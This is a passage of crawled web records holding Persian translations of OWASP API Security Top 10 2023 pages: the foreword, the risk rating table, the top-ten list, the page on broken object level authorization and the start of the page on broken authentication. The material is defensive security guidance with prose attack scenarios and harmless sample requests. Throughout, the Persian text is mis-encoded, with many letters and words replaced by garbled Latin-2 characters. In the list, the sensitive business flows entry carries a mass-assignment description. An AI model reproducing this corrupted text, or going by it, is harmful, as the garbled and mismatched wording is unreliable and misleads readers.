نقض اعتبارسنجی مجوز ŘŻŘą سءح ویژگی‌های شیء* گذاشته‌ایم.\n• ŘŻŘą برخی موارد به جای اهمیت دادن به مدیریت موثر منابع و کنترل آنها تا زمان اتمام، فقط به مصرف فعلی منابع توجه می‌کنیم.\n• با ایجاد دسته‌بندی جدیدی به نام \"دسترسی بدون ‌محدودیت به جریان‌های حساس کسب‌وکار\"، بع دسته جدیدی از تهدیدات تمرکز کردیم. این تهدیدات معمولاً با استفاده از محدود کردن نرخ دسترسی به جریان‌های حساس مرتبط، کاهش پیدا می‌کنند. این اقدام به ارتقاء امنیت ŘŻŘą مقابل این تهدیدات کمک خواهد ڊعد.\n• عنصر \"استفاده ناایمن از APIها\" عا به لیست اضافه کرده‌ایم تا به عفتاع جدیدی که اخیراً مشاهده شده، توجه داشته باشیم. موضوع نام برده شده، به این اشاره داعد که مهاجمان به جای حمله مستقیم به APIهای هدف، به دنبال نقاط ؜ؚف ŘŻŘą خدمات متکامل هدف می‌گردند تا از طریق آن‌ها به هدف ؎ود نفوذ کنند. این مسئله به مرور زمان افزایش یافته و اکنون زمان مناسبی است تا به جامعه درباره این ؎ءع ŘŻŘą حال افزایش، اطلاع‌رسانی شود.\n\nفهم تغییرات اساسی ŘŻŘą معماری اپلیکیشن‌ها ŘŻŘą سالیان گذشته از اهمیت زیادی بع؎وعداع است. امروره APIها نقشی کلیدی ŘŻŘą معماری ریزسرویس‌ها، اپلیکیشن‌های ŘŞÚŠ صفحه ای (SPA )، اپلیکیشن‌های موبایل، اینترنت اشیاء و ... دارند.\n\nپروژه حاضر، حاصل تلاش فوق‌العاده داوطلبانه افعاد متعددی بوده که بدون آن‌ها، به سرانجام رساندن آن امکان‌پذیر نبود که ŘŻŘą [ب؎ش تقدیر و ŘŞŘ´ÚŠŘą](../0xd1-acknowledgments/)، از آن‌ها نام برده شده است. متشکریم!", "znaku_textu": 5073, "slov": 631, "odkazu": 57, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:57:50", "sha256": "e3412d67bf0d2dbab7ab1ac0fd7a8ece296ff9e5b053540504f60fdc9cef0fd2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x10-api-security-risks/", "titulek": "RISK ریسک های امنیتی API - OWASP API Security Top 10", "h1": "RISK ریسک های امنیتی API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x10-api-security-risks/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "RISK ریسک های امنیتی API"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# RISK ریسک های امنیتی API\n\nبه منظور تحلیل ریسک، از متدولوژی رتبه بندی ریسک OWASP استفاده شده است.\nجدول زیر، واژگان مرتبط با رتبه ریسک عا مختصرا نشان می‌دهد.\n\n| عوامل تهدید | قابلیت بهره برداری | میزان شیوع آسیب‌پذیری | قابلیت شناسایی آسیب‌پذیری | پیامد فنی | تاثیر بع ڊسب و ڊاع |\n| --- | --- | --- | --- | --- | --- |\n| ؎اؾ API | آسان: 3 | گسترده: 3 | آسان: 3 | شدید: 3 | ؎اؾ ڊسب و ڊاع |\n| | متوسط: 2 | متداول: 2 | متوسط: 2 | متوسط: 2 | |\n| | س؎ت: 1 | س؎ت: 1 | س؎ت: 1 | جزئی: 1 | |\n\nŘŻŘą این رویکرد، نوع فناوری مورد استفاده و احتمال وقوع آسیب‌پذیری ŘŻŘą رتبه ریسک تاثیر ندارند؛ بؚباعت دیگر ŘŻŘą این عوش رتبه بندی ریسک، راهکار مورد استفاده برای ‌‌‌‌پیاده‌سازی API، با رویکردی مستقل از جزئیات فناوری به ارزیابی ریسک می‌پردازد. هرکدام از عوامل یاد شده می‌تواند ŘŻŘą پیداکردن و سواستفاده از یک آسیب‌پذیری به مهاجم کمک بسزایی کند. این رتبه بندی تاثیر واقعی بع ڊسب و کارها عا نشان نداده و این سازمان‌ها هستند که با توجه به نوع ڊسب و ڊاع و فرهنگ سازمانی خود، ŘŻŘą میزان پذیرش ؎ءع امنیتی استفاده از اپلیکیشن‌ها و APIها تصمیم گیرنده هستند. هدف از مستند ده آسیب‌پذیری بحرانی امنیت API، تحلیل ریسک نیست.\n\n## مراجع\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://owasp.org/www-project-risk-assessment-framework/)\n- [Article on Threat/Risk Modeling](https://owasp.org/www-community/Threat_Modeling)\n\n### خارجی\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2450, "slov": 265, "odkazu": 67, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:17", "sha256": "e5c940b893a7b80cc83809c4761f89345b5f509df446fc98fd33a6630cd18353", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0x11-t10/", "titulek": "ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2023 - OWASP API Security Top 10", "h1": "ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2023", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0x11-t10/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2023"}], "markdown": "# ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2023\n\n| ریسک امنیتی | توضیحات |\n| --- | --- |\n| [API1:2023 - نقض مجوزدهی ŘŻŘą سءح اشیا](../0xa1-broken-object-level-authorization/) | APIها معمولا توابؚ مدیریت کننده شناسه‌های اشیا عا ŘŻŘą معرض دید قرار داده و سءح حمله گسترده‌ای عا برای نقض کنترل دسترسی ایجاد می‌نمایند. کنترل‌های مجوزدهی ŘŻŘą سءح اشیا بایستی ŘŻŘą کلیه توابعی که با گرفتن ورودی از ڊاعبع به منابع داده دسترسی دارند پیاده‌سازی شود. |\n| [API2:2023 - احرازهویت نادرست ڊاعبع](../0xa2-broken-authentication/) | مکانیزم‌های احرازهویت گاها به درستی پیاده‌سازی نشده و سبب دسترسی مهاجمین به توکن‌های احرازهویت و ربایش موقت یا دائمی هویت سایر کاربران با استفاده از نقایص این مکانیزم‌ها می شوند. ŘŻŘą ؾوعت عدم توانایی سیستم ŘŻŘą شناخت کلاینت یا کاربر، امنیت API نیز نقض خواهد Ř´ŘŻ. |\n| [API3:2023 - نقض مجوزدهی ŘŻŘą سءح ویژگی‌های شیء](../0xa3-broken-object-property-level-authorization/) | این دسته‌، ترکیبی از [API3:2019 افشای مفرط داده](https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/) و [API6:2019 تخصیص جمعی](https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/) می‌باشد که بع روی علت اصلی این مشکل تمرکز داعد: عدم و؏ود یا صحیح بودن اعتبارسنجی مجوزهای دسترسی ŘŻŘą سءح ویژگی‌های شیء موجب افشای اطلاعات به نحو نادرست یا تغییر و دستکاری اطلاعات توسء افعاد غیرمجاز می‌شود. |\n| [API4:2023 - مصرف بدون محدودیت منابع](../0xa4-unrestricted-resource-consumption/) | برای انجام درخواست‌های API، منابعی مانند پهنای باند شبکه، واحد ٞعدازش مرکزی (CPU)، حافظه و ذخیره‌سازی لازم است. منابع دیگری مانند ایمیل‌ها، پیام‌ های کوتاه‌ (SMS)، تماس‌های تلفنی، یا اعتبارسنجی بایومتریک توسء ارائه‌دهندگان خدمات از طریق ادغام API نیز ŘŻŘą دستعس قرار گرفته و بع اساس هر دع؎واست بڊاع گرفته می‌شوند. حملات موفق می‌توانند منجر به عد سرویس‌دهی (Denial of Service) یا افزایش هزینه‌های عملیاتی شوند. |\n| [API5:2023 - نقض مجوزدهی ŘŻŘą سءح توابؚ](../0xa5-broken-function-level-authorization/) | مکانیزم‌‌های پیچیده کنترل دسترسی با سلسله مراتب، گروه‌‌ها و نقش‌‌های متفاوت و مرز نامشخص بین توابؚ عادی و مدیریتی سبب بعوز نقایص مجوزدهی می‌شوند. با بهره برداری از این آسیب‌پذیری‌‌ها مهاجمین به منابع سایر کاربران و یا توابؚ مدیریتی دست خواهند یافت. |\n| [API6:2023 - دسترسی بدون محدودیت به جریان‌های حساس کسب‌وکار](../0xa6-unrestricted-access-to-sensitive-business-flows/) | پیوند دادن داده ارائه شده توسء کلاینت (نظیر اشیا JSON) با مدل‌‌های داده بدون فیلترکردن مناسب آنها بع مبنای یک لیست سفید می‌تواند منجر به تخصیص جمعی شود. با تشخیص ویژگی‌‌های اشیا، ڊاوش سایر توابع، خواندن مستندات یا ارائه ویژگی‌‌های اضافی برای اشیا ŘŻŘą بدنه درخواست‌‌ها، مهاجم می‌تواند ویژگی‌‌هایی از اشیا که برای وی مجاز نیست عا دستکاری نماید. |\n| [API7:2023 - جعل دع؎واست ŘŻŘą سمت سعوع](../0xa7-server-side-request-forgery/) | درخواست‌هایی که از سمت سعوع به وسیله یک برنامه یا سرویس وب به منبع دیگری ŘŻŘą اینترنت ارسال می‌شوند، ممکن است به اشتباه یا بدون اعتبارسنجی صحیح آدعس (URI) توسء ڊاعبع ارسال شوند. این مشکل می‌تواند به مهاجم این امکان عا بدهد که برنامه عا مجبور به ارسال درخواست‌های ساختگی به مقصدی که برنامه اصلاً منتظر نبوده، بکند. حتی اگع برنامه ŘŞŘ­ŘŞ حفاظت دیوار آتش یا شبکه خصوصی مجازی باشد. این نوع حمله امنیتی SSRF نام داعد و می‌تواند به دسترسی غیرمجاز به منابع دیگر یا سیستم‌های داخلی شبکه منجر شود. ŘŻŘą نتیجه، اعتبارسنجی و کنترل دقیق بع روی URI‌های ارسالی به سمت سعوع بسیار مهم است تا از وقوع چنین حملاتی جلوگیری شود. |\n| [API8:2023 - پیکربندی امنیتی نادرست](../0xa8-security-misconfiguration/) | وقتی پیکربندی‌ها به درستی مدیریت نشده و اصول امنیتی عا رعایت نکنند، احتمال وقوع حملات امنیتی به سیستم‌ها و API‌ها افزایش می‌یابد. این نقاط ؜ؚف ŘŻŘą پیکربندی می‌توانند به حملاتی مانند حملات به امنیت شبکه (Network Security Attacks)، حملات نفوذ به سیستم (System Intrusion)، حملات SSRF که ŘŻŘą قسمت قبل بح؍ شد، یا حملات دیگر امنیتی منجر شوند. به همین دلیل اهمیت حفاظت از پیکربندی‌های مرتبط با API‌ها و سیستم‌های مرتبط با آنها از نظر امنیتی بسیار بالاست و مهم است که توسعه‌دهندگان و مهندسان DevOps به این جنبه‌ها توجه ویژه‌ای داشته باشند. |\n| [API9:2023 - مدیریت نادرست دارایی‌‌ها](../0xa9-improper-inventory-management/) | APIها معمولا توابؚ بیشتری عا نسبت به وب اپلیکیشن‌‌های سنتی ŘŻŘą معرض دید قرار می‌دهند که این موضوع اهمیت مستندسازی مناسب و بعوز عا دوچندان می‌نماید. داشتن فهرستی از میزبان‌‌ها و نسخه‌‌های بکارگرفته شده API نقش مهمی ŘŻŘą عفؚ ‌‌‌آسیب‌پذیری‌‌های مرتبط با نسخ قدیمی API و توابؚ مرتبط با debugging ایفا می‌کند. |\n| [API10:2023 - استفاده ناایمن از APIها](../0xaa-unsafe-consumption-of-apis/) | توسعه‌دهندگان به دلیل اعتماد بیشتر به داده‌هایی که از API‌های ءعف ثالث دریافت می‌کنند، به استانداردهای امنیتی کمتری پایبند هستند. مهاجمان هم به جای حمله مستقیم به API اصلی، به سرویس‌های ءعف ثالث حمله می‌کنند. این مسئله ممکن است منجر به ایجاد شکاف‌ها و آسیب‌پذیری‌های امنیتی ŘŻŘą نرم‌افزارها شود. |", "znaku_textu": 7681, "slov": 896, "odkazu": 58, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:34", "sha256": "9fc153e148fd8d2792fa4ce970875c4ecbc0e3d3c6509182c374cea4825280f8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa1-broken-object-level-authorization/", "titulek": "API1:2023 نقض مجوزدهی ŘŻŘą سءح اشیاء - OWASP API Security Top 10", "h1": "API1:2023 نقض مجوزدهی ŘŻŘą سءح اشیاء", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa1-broken-object-level-authorization/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2023 نقض مجوزدهی ŘŻŘą سءح اشیاء"}, {"uroven": 2, "text": "آیا API از نظر نقض مجوزدهی ŘŻŘą سءح اشیاء آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 3, "text": "سناریو #3"}, {"uroven": 2, "text": "چگونه از آسیب‌پذیری مجوزدهی نادرست ŘŻŘą سءح اشیاء پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API1:2023 نقض مجوزدهی ŘŻŘą سءح اشیاء\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: گسترده/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / ؎اؾ ڊسب و ڊاع |\n| مهاجمین می‌توانند از نقاط و توابؚ ‌آسیب‌پذیر (از منظر مجوزدهی نادرست ŘŻŘą سءح اشیا) با دستکاری شناسه شیء ارسالی درون دع؎واست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج ŘŻŘą اپلیکیشن‌های مبتنی بع API است چرا که مولفه سعوع غالبا به ءوع کامل وضعیت کلاینت عا رهگیری نمی‌کند و ŘŻŘą ؚو؜ برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی ؎ود کلاینت ارسال می‌شوند، تکیه دارند. | این حمله رایج ترین ‌آسیب‌پذیری APIها بوده و بیشترین پیامدها عا نیز ŘŻŘą پی داعد. مکانیزم‌های مجوزدهی و کنترل دسترسی ŘŻŘą اپلیکیشن‌های مدرن، پیچیده و گسترده هستند. حتی اگع اپلیکیشن زیرساخت مناسب عا برای کنترل‌های مجوزدهی ‌‌‌‌پیاده‌سازی نماید، ممکن است توسعه دهندگان پیش از دسترسی به اشیا حساس، استفاده از این کنترل‌ها عا فراموش نمایند. تشخیص نقایص مربوط به کنترل دسترسی از طریق تست‌های ایستا یا پویا به ؾوعت ؎ودڊاع غالبا امکان پذیر نیست. | دسترسی غیرمجاز می‌تواند منجر به افشای اطلاعات به طرف‌های غیرمجاز، از دست رفتن داده یا دستکاری آن شود. همچنین دسترسی غیرمجاز به اشیا می‌تواند سبب ŘŞŘ­ŘŞ کنترل گرفتن کامل حساب کاربری توسء مهاجم گعدد. |\n\n## آیا API از نظر نقض مجوزدهی ŘŻŘą سءح اشیاء آسیب‌پذیر است؟\n\nمجوزدهی ŘŻŘą سءح اشیا مکانیزمی برای کنترل دسترسی است که غالبا ŘŻŘą سءح ÚŠŘŻ ‌‌‌‌پیاده‌سازی شده و دسترسی ڊاعبع به اشیایی که بایستی به آنها دسترسی داشته باشد عا تضمین می‌نماید.\n\nهر تابعی ŘŻŘą API که یک شناسه شی دریافت نموده و نوعی عملیات بع روی آن شی انجام می‌دهد، بایستی کنترل‌های مجوزدهی ŘŻŘą سءح اشیا عا بڊاع گیرد. این کنترل‌ها باید دسترسی ڊاعبعِ واردشده به انجام عمل درخواستی بع روی شی درخواستی عا اعتبارسنجی نمایند.\n\nو؏ود ایراد و نقصان ŘŻŘą این مکانیزم منجر به افشای اطلاعات غیرمجاز، تغییر یا از بین رفتن تمامی داده خواهد Ř´ŘŻ.\n\nŘŻŘą مسئله‌ی Broken Object Level Authorization (BOLA)، امنیت کاربران ŘŻŘą دسترسی به اطلاعات و منابع ŘŻŘą سیستم به ؎ءع می‌افتد. این مشکل زمانی ع؎ می‌دهد که سیستم یک دع؎واست API حاوی یک شناسه (مثلاً شناسه یک مورد یا اشیاء ؎اؾ) عا دریافت می‌کند و بدون بررسی دقیق این شناسه و اعتبارسنجی آن، به منابع مرتبط با آن شناسه دسترسی می‌دهد. مهاجمان با تغییر شناسه ŘŻŘą درخواست‌های ؎ود می‌توانند به اطلاعاتی دسترسی پیدا کنند که به ءوع عادی نباید به آن‌ها دسترسی داشته باشند.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nیک پلتفرم ت؏اعت الکترونیک، برای فروشگاه‌های آنلاین نمودارهای سود فروشگاه‌های میزبانی شده عا ŘŻŘą قالب یک لیست چندصفحه‌ای ارائه می‌دهد. مهاجم با بررسی درخواست‌های مرورگر، توابعی از API که نقش منبع داده برای نمودارهای مذکور عا دارند و الگوی آنها به ؾوعت `/shops/{shopName}/revenue_data.json` می‌باشد عا شناسایی می‌کند. با استفاده از یک تابؚ دیگر API، مهاجم می‌تواند لیست نام کلیه فروشگاه‌های میزبانی شده عا است؎عا؏ نماید. همچنین مهاجم با استفاده از یک اسکریپت ساده و جایگزین کردن `{shopName}` ŘŻŘą URL خواهد توانست به داده‌ی فعوش هزاران فروشگاه دسترسی یابد.\n\n### سناریو #2\n\nیک تولیدکننده ؎ودعو از طریق یک API امکان کنترل از راه دوع خودروها عا برای اعتباء با تلفن همراه راننده فراهم کرده است. این API به راننده این امکان عا می‌دهد که موتور ؎ودعو عا از راه دوع روشن و خاموش کند و درب‌ها عا قفل و باز کند. ŘŻŘą این فرآیند، ڊاعبع شماره شناسایی ؎ودعو (VIN) عا به API ارسال می‌کند. متأسفانه، API قادر به اعتبارسنجی نمی‌باشد که آیا VIN به ماشینی ڊاعبع واعد شده ا؎تؾاؾ داعد یا نه. این مشکل منجر به وقوع یک آسیب‌پذیری به نام BOLA می‌شود و به این ترتیب مهاجم می‌تواند به خودروهایی دسترسی پیدا کند که به او تعلق ندارند.\n\n### سناریو #3\n\nیک سرویس ذخیره‌سازی اسناد آنلاین به کاربران این امکان عا می‌دهد که اسناد ؎ود عا مشاهده، ویرایش، ذخیره و حذف کنند. هنگامی که کاربری یکی از اسناد ؎ود عا حذف می‌کند، یک عملیات درخواستی به نام GraphQL Mutation با استفاده از شناسه (ID) مربوط به سند حذف‌شده به API ارسال می‌شود. این دع؎واست GraphQL به API اطلاع می‌دهد که یک سند باید حذف شود و API مسئول انجام این عملیات حذف است.\n\n## چگونه از آسیب‌پذیری مجوزدهی نادرست ŘŻŘą سءح اشیاء پیشگیری کنیم؟\n\n- بکارگیری یک مکانیزم مجوزدهی که بع ؎ء مشی و سلسله مراتب کاربری تمرکز داعد.\n- استفاده از یک مکانیزم مجوزدهی برای بررسی اینکه آیا ڊاعبع واردشده مجوز لازم برای انجام عملیات درخواستی بع روی عڊوعد ŘŻŘą تمامی توابعی که از کلاینت، ورودی می‌گیرند تا به عڊوعد مذکور ŘŻŘą پایگاه داده دسترسی داشته باشند عا داعا است یا خیر؟\n- ارجحیت استفاده از مقادیر تصادفی و غیرقابل پیش بینی بعنوان GUID برای شناسه رکوردها.\n- طراحی آزمون‌هایی برای ارزیابی ؾحت عملکرد مکانیزم‌های مجوزدهی.\n\n## مراجع\n\n- [Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [Authorization Testing Automation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html)\n\n### خارجی\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 8240, "slov": 962, "odkazu": 68, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:58:43", "sha256": "dc3aa9268d01df94d3ee2f7f125ca0e2634e8797a866f224eccb6f2b83617305", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2023/fa/0xa2-broken-authentication/", "titulek": "API2:2023 احرازهویت نادرست ڊاعبع - OWASP API Security Top 10", "h1": "API2:2023 احرازهویت نادرست ڊاعبع", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2023/fa/0xa2-broken-authentication/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2023 احرازهویت نادرست ڊاعبع"}, {"uroven": 2, "text": "آیا API از نظر احرازهویت نادرست ڊاعبع آسیب‌پذیر است؟"}, {"uroven": 2, "text": "مثال‌هایی از سناریوهای حمله"}, {"uroven": 3, "text": "سناریو #1"}, {"uroven": 3, "text": "سناریو #2"}, {"uroven": 2, "text": "چگونه از ‌آسیب‌پذیری احرازهویت نادرست ڊاعبع پیشگیری کنیم؟"}, {"uroven": 2, "text": "مراجع"}, {"uroven": 3, "text": "خارجی"}], "markdown": "# API2:2023 احرازهویت نادرست ڊاعبع\n\n| ؜ؚف امنیتی | عوامل تهدید / مسیر حمله | پیامد |\n| --- | --- | --- |\n| ؎اؾ API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / ؎اؾ ڊسب و ڊاع |\n| دسترسی همه به سیستم احعاز هویت موجب می‌شود تا این مکانیزم هدفی آسان و ŘŻŘą دستعس برای مهاجمین باشد. با اینکه برای بهره‌برداری از برخی از مشکلات احعاز هویت ممکن است مهارت‌های فنی پیشرفته‌تری لازم باشد، ابزارهای بهره‌برداری مرتبط ŘŻŘą دستعس هستند. | ŘŻŘąÚŠ نادرست توسعه‌دهندگان نرم‌افزار و مهندسان امنیتی از مفاهیم مرتبط با احعاز هویت و پیچیدگی پیاده‌سازی داخلی، منجر به اشتباهاتی ŘŻŘą فهم چگونگی ڊاعڊعد و اهمیت مسائل احعاز هویت می‌شود. این اشتباهات باؚ؍ می‌شود که مشکلات مرتبط با احعاز هویت به ءوع گسترده‌تر و رایج‌تری ŘŻŘą نرم‌افزارها و سیستم‌های مختلف پدیدار شود. روش‌ها و رویکردهایی برای شناسایی و تشخیص این نوع اشکالات ŘŻŘą احعاز هویت و؏ود داعد و تولید آنها نیز به ءوع کلی آسان است. به ؚباعت دیگر، می‌توان به راحتی ابزارها و روش‌هایی برای ڊشف و پیگیری مشکلات احعاز هویت ŘŻŘą نرم‌افزارها ایجاد ڊعد. | مهاجمین می‌توانند به حساب‌های کاربری سایر کاربران دسترسی یافته، اطلاعات شخصی آنها عا خوانده و عملیات حساس (نظیر نقل و انتقالات مالی و ارسال پیام‌های شخصی) عا از ءعف آنها انجام دهد. |\n\n## آیا API از نظر احرازهویت نادرست ڊاعبع آسیب‌پذیر است؟\n\nنقاط، توابؚ و جریان‌های احرازهویت API دارایی‌هایی هستند که بایستی محافظت شوند. همچنین توابؚ «فراموشی گذرواژه یا بازیابی گذرواژه» نیز بایستی ŘŻŘą زمره مکانیزم‌های احرازهویت ŘŻŘą نظر گرفته شوند.\nیک API از منظر احرازهویت نادرست کاربر، آسیب‌پذیر است اگع:\n- اجازه حمله دع؏ هویت عا بدهد که ŘŻŘą آن مهاجم از لیستی از نام‌های کاربری و گذرواژه‌های معتبر استفاده می‌نماید.\n- بدون استفاده از مکانیزم‌های CAPTCHA یا قفل کردن حساب کاربری اجازه حمله Brute Force روی یک حساب کاربری عا بدهد.\n- اجازه استفاده از گذرواژه‌های ضعیف عا بدهد.\n- جزئیات و داده‌های حساس مرتبط با احرازهویت از قبیل توکن‌های اصالت سنجی و گذرواژه‌ها عا از طریق URL ارسال نماید.\n- اصالت توکن‌ها عا به بوته آزمون نگذارد.\n- توکن‌ JWT ضعیف یا بدون امضا (`{\"alg\":\"none\"}`) عا بپذیرد یا تاریخ انقضای آنها عا اعتبارسنجی ننماید.\n- از گذرواژه‌های آشڊاع ، رمزگذاری نشده یا درهم سازی شده بؾوعت ضعیف استفاده نماید.\n- از کلیدهای رمزگذاری ضعیف بهره ببعد.\n\nعلاوه بع این، یک میکروسرویس آسیب‌پذیر است اگع:\n- میکروسرویس‌های دیگر بدون احعاز هویت به آن دسترسی پیدا کنند.\n- از توکن‌های ضعیف یا قابل پیش‌بینی برای اعمال احعاز هویت استفاده کند.\n\n## مثال‌هایی از سناریوهای حمله\n\n### سناریو #1\n\nدع؏ هویت (استفاده از لیستی از نام‌های کاربری یا گذرواژه‌های شناخته شده) حمله‌ای رایج است. اگع اپلیکیشن از مکانیزم‌های حفاظتی ؎ودڊاع ŘŻŘą مقابل تهدیداتی نظیر دع؏ هویت بهره نبرده باشد، آنگاه اپلیکیشن می‌تواند بعنوان یک پیشگوی گذرواژه یا آزمونگر جهت بررسی ؾحت اطلاعات هویتی جهت ؚبوع از مکانیزم احرازهویت بڊاع عود.\n\nبرای انجام احعاز هویت کاربر، مشتری باید یک دع؎واست API مشابه مورد زیر عا با اطلاعات وعود کاربر، ؾادع کند:\n\n```\nPOST /graphql\n{\n \"query\":\"mutation {\n login (username:\"\"password:\"\") {\n token\n }\n }\"\n}\n```\n\n### سناریو #2\n\nبرای به‌روزرسانی آدعس ایمیل مرتبط با حساب کاربران، مشتریان باید یک دع؎واست API مانند دع؎واست زیر عا ارسال کنند:\n\n```\nPUT /account\nAuthorization: Bearer \n\n{ \"email\": \"\" }\n```\n\n## چگونه از ‌آسیب‌پذیری احرازهویت نادرست ڊاعبع پیشگیری کنیم؟\n\n- حصول اطمینان از آنکه تمامی جریان‌های ممکن برای احعاز هویت API (موبایل یا وب، سایر لینک‌هایی که از مکانیزم احرازهویت با یک کلیک و غیره) شناسایی شده است. ŘŻŘą این زمینه می‌توانید با توسعه دهندگان و مهندسین مشورت کنید.\n- مطالعه و فهم کامل مکانیزم‌های احرازهویت استفاده شده ŘŻŘą اپلیکیشن؛ بایستی درنظر داشت که OAuth و کلیدهای API نمی‌توانند بعنوان مکانیزمی برای احرازهویت به شمار آیند.\n- ŘŻŘą مساله احرازهویت، تولید توکن و ذخیره‌سازی گذرواژه، نباید چرخ عا از ابتدا ا؎تعاؚ ڊعد بلکه بایستی از استانداردها استفاده نمود.\n- توابؚ بازیابی یا فراموشی گذرواژه بایستی از منظر محافظت ŘŻŘą مقابل Brute Force، محدودسازی نرخ و قفل شدن حساب کاربری هم اعز با توابؚ و نقاط وعود ŘŻŘą نظر گرفته شود.\n- برای عملیات‌ حساس (مانند تغییر آدعس ایمیل مالک حساب/شماره تلفن مربوط به احعاز هویت دو عاملی)، نیاز به احعاز هویت مجدد می‌باشد.\n- از راهنمای احرازهویت [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) استفاده شود.\n- بکارگیری احرازهویت چندعاملی ، ŘŻŘą هر ؏ا که امکان داشت.\n- برای کاهش حملات دع؏ هویت، Dictionary و Brute force، مکانیزم‌های ؜د حمله Brute force عا پیاده‌سازی کنید. این مکانیزم‌ها باید سخت‌گیرانه‌تر از مکانیزم‌های معمول محدودیت نرخ ŘŻŘą APIها باشند.\n- برای جلوگیری از حملات brute force بع روی کاربران خاص، مکانیزم‌های [قفل کردن حساب 